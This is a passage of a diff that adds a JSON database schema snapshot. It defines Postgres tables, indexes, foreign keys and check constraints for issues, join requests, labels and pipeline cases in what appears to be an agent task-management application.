+        },
+        "issues_active_task_watchdog_uq": {
+          "name": "issues_active_task_watchdog_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'task_watchdog'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_productivity_review_uq": {
+          "name": "issues_active_productivity_review_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'issue_productivity_review'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stranded_issue_recovery_uq": {
+          "name": "issues_active_stranded_issue_recovery_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stranded_issue_recovery'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_onboarding_first_task_uq": {
+          "name": "issues_onboarding_first_task_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'onboarding_first_task'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issues_company_id_companies_id_fk": {
+          "name": "issues_company_id_companies_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_id_projects_id_fk": {
+          "name": "issues_project_id_projects_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_workspace_id_project_workspaces_id_fk": {
+          "name": "issues_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_goal_id_goals_id_fk": {
+          "name": "issues_goal_id_goals_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_parent_id_issues_id_fk": {
+          "name": "issues_parent_id_issues_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_assignee_agent_id_agents_id_fk": {
+          "name": "issues_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_checkout_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_checkout_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "checkout_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_execution_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_execution_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "execution_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_created_by_agent_id_agents_id_fk": {
+          "name": "issues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issues_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.join_requests": {
+      "name": "join_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "invite_id": {
+          "name": "invite_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "request_type": {
+          "name": "request_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending_approval'"
+        },
+        "request_ip": {
+          "name": "request_ip",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requesting_user_id": {
+          "name": "requesting_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_email_snapshot": {
+          "name": "request_email_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_defaults_payload": {
+          "name": "agent_defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_hash": {
+          "name": "claim_secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_expires_at": {
+          "name": "claim_secret_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_consumed_at": {
+          "name": "claim_secret_consumed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_agent_id": {
+          "name": "created_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_by_user_id": {
+          "name": "rejected_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_at": {
+          "name": "rejected_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "join_requests_invite_unique_idx": {
+          "name": "join_requests_invite_unique_idx",
+          "columns": [
+            {
+              "expression": "invite_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_company_status_type_created_idx": {
+          "name": "join_requests_company_status_type_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_user_uq": {
+          "name": "join_requests_pending_human_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requesting_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"requesting_user_id\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_email_uq": {
+          "name": "join_requests_pending_human_email_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(\"request_email_snapshot\")",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"request_email_snapshot\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "join_requests_invite_id_invites_id_fk": {
+          "name": "join_requests_invite_id_invites_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "invites",
+          "columnsFrom": [
+            "invite_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_company_id_companies_id_fk": {
+          "name": "join_requests_company_id_companies_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_created_agent_id_agents_id_fk": {
+          "name": "join_requests_created_agent_id_agents_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.labels": {
+      "name": "labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "labels_company_idx": {
+          "name": "labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "labels_company_name_idx": {
+          "name": "labels_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "labels_company_id_companies_id_fk": {
+          "name": "labels_company_id_companies_id_fk",
+          "tableFrom": "labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_automation_executions": {
+      "name": "pipeline_automation_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "automation_id": {
+          "name": "automation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "triggering_event_id": {
+          "name": "triggering_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_issue_id": {
+          "name": "execution_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_execution_id": {
+          "name": "retry_of_execution_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generation": {
+          "name": "generation",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_automation_executions_idempotency_uq": {
+          "name": "pipeline_automation_executions_idempotency_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "automation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "triggering_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_company_case_idx": {
+          "name": "pipeline_automation_executions_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_routine_idx": {
+          "name": "pipeline_automation_executions_routine_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_execution_issue_idx": {
+          "name": "pipeline_automation_executions_execution_issue_idx",
+          "columns": [
+            {
+              "expression": "execution_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_retry_of_execution_idx": {
+          "name": "pipeline_automation_executions_retry_of_execution_idx",
+          "columns": [
+            {
+              "expression": "retry_of_execution_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_automation_executions_company_id_companies_id_fk": {
+          "name": "pipeline_automation_executions_company_id_companies_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_automation_executions_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_routine_id_routines_id_fk": {
+          "name": "pipeline_automation_executions_routine_id_routines_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_execution_issue_id_issues_id_fk": {
+          "name": "pipeline_automation_executions_execution_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "execution_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_automation_executions_status_check": {
+          "name": "pipeline_automation_executions_status_check",
+          "value": "\"pipeline_automation_executions\".\"status\" in ('succeeded', 'failed')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_blockers": {
+      "name": "pipeline_case_blockers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "blocked_by_case_id": {
+          "name": "blocked_by_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_blockers_case_blocked_by_uq": {
+          "name": "pipeline_case_blockers_case_blocked_by_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_blocked_by_idx": {
+          "name": "pipeline_case_blockers_blocked_by_idx",
+          "columns": [
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_company_case_idx": {
+          "name": "pipeline_case_blockers_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_blockers_company_id_companies_id_fk": {
+          "name": "pipeline_case_blockers_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "blocked_by_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_blockers_no_self_block_check": {
+          "name": "pipeline_case_blockers_no_self_block_check",
+          "value": "\"pipeline_case_blockers\".\"case_id\" <> \"pipeline_case_blockers\".\"blocked_by_case_id\""
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_documents": {
+      "name": "pipeline_case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_documents_company_case_key_uq": {
+          "name": "pipeline_case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_document_uq": {
+          "name": "pipeline_case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_company_case_updated_idx": {
+          "name": "pipeline_case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_documents_company_id_companies_id_fk": {
+          "name": "pipeline_case_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_documents_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_document_id_documents_id_fk": {
+          "name": "pipeline_case_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_events": {
+      "name": "pipeline_case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_events_case_created_idx": {
+          "name": "pipeline_case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_events_company_case_idx": {
+          "name": "pipeline_case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_events_company_id_companies_id_fk": {
+          "name": "pipeline_case_events_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_events_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
